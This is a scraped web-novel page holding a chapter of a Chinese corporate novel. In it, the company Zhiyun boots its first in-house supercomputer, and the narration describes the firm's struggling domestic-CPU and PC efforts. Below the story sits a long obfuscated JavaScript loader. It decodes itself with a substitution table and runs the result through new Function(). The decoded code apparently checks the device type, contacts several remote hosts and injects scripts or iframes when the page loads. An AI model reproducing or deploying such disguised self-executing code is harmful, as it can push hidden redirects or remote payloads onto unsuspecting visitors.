首页
[切换至繁体版]
返回

第二百五十一章 智云超算以及自研PC

章节报错(免登陆)

新笔趣阁(52xbq.com)更新快,无弹窗!

取消免费伙食待遇。
    当然,他其实也清楚,相对于伙食费用这点小钱,联合研发中心里的各种设备以及大量的研发经费才是大头。
    联合研发中心里各种设备全都是顶级设备,用他老板的话来说就是:但凡能用钱买来的顶级设备都有!
    很多看似不起眼的一台设备,往往是价值几百万甚至几千万。
    并且他还听闻,后续联合研发中心这边还要单独配给一台超算呢。
    他们这些搞计算材料的人,三天两头就拿着数据模型去跑超算,因为超算是别人的,这跑起来也麻烦,并且成本也不低。
    因此联合研发中心这边的人,就想着干脆自己配一台超算好了。
    只是一直拖着,听说是这台超算因为是集团自研超算,一时半会还没搞利索,所以就延迟了下来。
    ————
    就当于泰和为他的博士学位而拼搏的时候,次日,深城的智云科技旗下的智云计算有限公司的一个巨大的机房里,众多的工程师正在忙碌着。
    他们正在对旗下的第一台自研超算进行首次开机前的最后检测。
    因为这是公司旗下的第一台自研超算,徐申学对此也是颇为重视,特地今天跑过来进行视察。
    智云计算有限公司的负责人正在对徐申学介绍着前方的这台占地面积巨大的超级计算机!
    “徐董,这一台超算,是我们和黎明信息公司合作研发的,黎明信息公司是国内领先的超算以及服务器供应商,在大型超算领域里的技术积累非常雄厚,而我们在自研芯片的使用研究上,尤其是中小型服务器,工作站上的技术积累也还可以,并且研发了自主的超算服务器系统。”
    “我们两家进行联合研发,是属于强强联合,研发速度进度也比较快!”
    “这一台超算,使用的CPU是我们集团半导体部门自研的ZS1系列芯片里的ZS1A6型,这是一种专供高性能大型服务器的高性能芯片!”
    “ZS1A6芯片,采用了三十二纳米工艺,拥有六个核心,支持我们自研的多线程技术,可以实现四路并行,L3缓存达到了18MB,主频为1.5GHZ,功耗为一百二十五瓦。”
    “而我们的这一台超算,一共使用了一万七千多个CPU!”
    对于ZS1系列芯片,徐申学自然非常清楚,这是智云半导体根据自研的SOP指令集所研发出来的第一款量产型芯片。
    智云半导体最近几年一直都在自行设计桌面级CPU的指令集,已经推出了第一版的智云SOP指令集。
    根据这个指令集,智云半导体设计了第一款CPU!
    不过并不是面向个人用户的通用CPU,而是一种高性能的服务器CPU。
    这是考虑到市场问题!
    虽然老早的时候,部分单位就希望智云能够搞一种纯国产的PC电脑,从CPU到显卡再到内存,闪存或硬盘到系统,全都是实现国产化。
    但是部分零配件其实搞起来,对于当下的智云而言也没啥太大难度,内存和闪存这些都是现成的,系统的话也根据开源系统自己搞出来了一个所谓的自研系统。
    CPU和显卡倒是难一些,但其实难度也有限。
    比如显卡的话,人家智云连AI芯片都能给你折腾出来,区区PC显卡那都是小意思,更别说智云还有移动端AP显卡核心的大量成熟技术和经验。
    CPU的话,指令集的设计也慢慢搞出来了了初版。
    但是……上述各种零配件乃至系统都搞出来后有用吗?
    短时间内没啥用处……因为没有生态支持!
    之前也尝试组装了一些试用,但是只有几款智云自家的软件能勉强在上头跑一跑,至于其他的……别指望了,市面上的几乎所有软件都无法使用!
    不仅仅是因为系统是自研的,就连CPU的指令集都是智云自研的,外头根本没有什么软件能够支持。
    这生态问题,可比软件问题严重多了!
    之前折腾出来的样机徐申学还去看,并亲自体验了一番,怎么说呢,纸面上的硬件性能很不错,实际上没法用……
    尤其是上头的一款独立显卡,研发人员说各种硬件数据的时候嘎嘎猛,直接比肩国际一流!
    但实际使用嘛,不好意思,角色走一步退三步,卡顿的很,很多游戏干脆都打不开。
    为什么?
    以为这些游戏都是专门针对A卡或N卡进行优化设计的,你这一莫名其妙的‘杂牌’显卡能够支持人家游戏的顶级性能才见鬼了。
    徐申学进行实际操作的时候,都被折腾的不耐烦了……但是又不好生气发飙,只能说:“这潜力还是很不错的!”
    后来,显卡项目组那边就老老实实去搞亮机卡去了!
    现阶段能够搞出来支持基本图形处理的亮机卡就很不错了,高性能独显啊这东西,任重而道远。
    不是搞不出来,智云半导体连更牛逼的AI芯片都能弄出来,区区民用显卡,也就是个超级低配版的AI芯片而已,搞出来问题是不大的。
    问题是市面上的游戏人家不支持你啊……这就很尴尬了。
    反正PC项目搞到现在,因为生态问题各种折腾各种麻烦。
    如今虽然各种零配件,甚至样机都有了,但依旧没能商用,只是为了后续研发,软件适配等需求小批量的PC实验机型,用于各种研发工作。
    当下不少特殊企业单位也都参与了进来进行优化适配。
    整个优化适配的时间,少说还得再搞个一年以上,如此才能够完成最基本的一些办公软件的适配,满足特殊行业的基本办公需求。
    至于后续的整个生态的完善,那得猴年马月去了……你不能逼着市面上如此茫茫多的各种软件厂商,第一时间就针对你的全新系统搞适配啊,那很难的,只能是慢慢慢来。
    国产PC的商业化,民用化,依旧还有非常一段路要走。
    但是CPU的指令集弄出来了,也不能放着不用啊,这普通PC产品一时半会弄不了,智云半导体那边干脆就先推出来了服务器CPU了。
    至少弄服务器CPU的话,还能有市场……哪怕外头不要,智云集团以及柳河投资,仙女山控股旗下的一大票企业保底,此外国内一大堆各种特殊企业,单位也能帮助消化一部分产能,不至于让研发投入血本无归。
    芯片的设计研发以及流片费用,都很贵的!
    哪怕是自家的半导体设计部门,自家的芯片代工企业进行流片,这该有的成本都少不了。
    如果芯片弄出来后卖不出去,那就抓瞎了不是!
    好在当下的国内,对超算,各种服务器的需求还是挺大的,尤其是徐申学名下的企业,清一色的高科技企业,对大型超算,高性能服务器,工作站之类的需求非常大,每年都要花费大量的资金采购服务器甚至超算。
    同时智云以及威酷旗下,还有海量的的各种数据中心!
    光是在国内,就有十几个大型数据中心,用于满足智云旗下各项终端产品的需求,而海外地区的数据中心也非常多。
    因为自身有着庞大的需求,因此智云集团三年前就成立了智云计算,专门从事集团内部的各种数据中心,超算,服务器等研发以及建设工作。
    有着业务保底,智云计算的发展相当迅速,在满足集团内部需求之余,他们的计算中心甚至还有富余的算力向市场供应,为部分企业提供云计算服务。
    因为集团内部以及关联企业还有特殊单位对国产的高性能服务器CPU有着迫切的需求。
    基于这种情况,智云半导体也推出来了第一代的服务器CPU‘智云超级CPU第一代’,字母简称ZS1。
    有好几个性能强弱的型号,分别为A1-A6,分别用于入门级工作组,服务器,中型服务器,大型服务器。
    其中的几个型号已经陆续使用在多种服务器上,在集团内部进行试用,效果还算不错。
    而用于眼前这台‘智算一号’的大型超算的ZS1A6型号,就是其中最顶级的型号。
    尽管性能上,对比英特尔的顶级产品还有一些性能差距,但是也不算太大。
    智云半导体又不是什么小作坊,人家可是国内第一,全球前三的半导体芯片设计企业,在芯片设计领域里的技术积累是非常深厚的。
    做出来的手机SOC都是国际一流水准,而PC的CPU,其技术难度并不会比手机SOC更难……甚至还要更简单一些。
    如果智云半导体有X86的专利授权的话,智云半导体顶多一年半载,就能够给你拿出来一款基于28纳米工艺的顶级X86指令集的CPU芯片!
    偷偷摸摸说一句,智云半导体内部还真有这项目,只不过只是作为技术储备,并不公开,更没有进行商用。
    这玩意是用来预防万一的!
    免的哪天美国那边发神经,把X86指令集的芯片给彻底断供了,到时候总不能眼睁睁看着国内无数X86的生态链崩溃不是。
    至于专利,那种极端情况下谁还讲什么专利啊!
    这个X86啊,可不仅仅是美国人的X86,也是我们的X86!
    整个计算机网络,互联网生态可都根植在X86指令集上呢。
    这种东西,大家好好说话的时候才讲专利,你不好好说话了,那就不讲专利了。
    不可能说封禁X86指令集,然后我们就真傻乎乎不用,坐视整个生态崩溃的,天底下哪有这么好的事。
    只不过这种太过极端的事,和平状态下不太可能发生就是了。
    所以,智云半导体内部的X86芯片项目,那也只是个预研项目,长期维持低量研发,跟着技术就行了。
    真正的的PC芯片项目,还是以自研的SOP指令集芯片为主。
    以服务器芯片为突破口,先打开市场,把产品商用化再说,后面再慢慢朝着PC市场进军。
    徐申学对整个PC项目的路线,那是比较明确的,那就是弄一小片局限市场,充当备份就行了,赚钱不指望。
    ————
    随着大量工程师的持续工作,很快就对整个超算进行了最后一轮的检查。
    等检查完毕后,这台超算也在徐申学的注视下,首次进行了开机!
    随着系统正式开启后,没有什么惊天动地的变化,有的只是机柜里的一些指示灯闪烁起来,大量的各种各样的风扇开始运转起来,让整个庞大的机房里响起了一阵低沉的嗡嗡嗡的风扇运转声。
    整个冷却系统也开始运行,把数量众多的CPU所散发出来的热量通过冷却系统传递到外部。
    操控室里,工程师们正在对着众多的屏幕进行监控。
    确认开机没有什么大问题后,开始进行了各种的测试。
    到了这一步,实际上可看的东西都已经结束后,后续则是漫长而复杂的各种调试工作,最后让超算达到可用的程度。
    看完超算顺利开机,并通过了测试后,徐申学也带着满意的表情离开了智云计算公司。
    随后返回了公司总部,主持公司总部后续搬迁事宜的会议。
    智云集团总部园区已经陆续完工,一共修建了六栋超高层办公楼以及大量附属裙楼,低楼层的特殊用途,要求的办公楼或实验室等办公场所。
    此外还有大量员工宿舍楼,高级公寓楼,幼儿园甚至小学超大型办公区域。
    整个总部园区,足以容纳超过五万名员工工作以及生活。
    之前的部分旗下全资子公司已经陆续入驻,如今也轮到了集团总部入驻了。
    这事还算是比较重要的,各种麻烦事也多,所以徐申学得亲自盯着。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();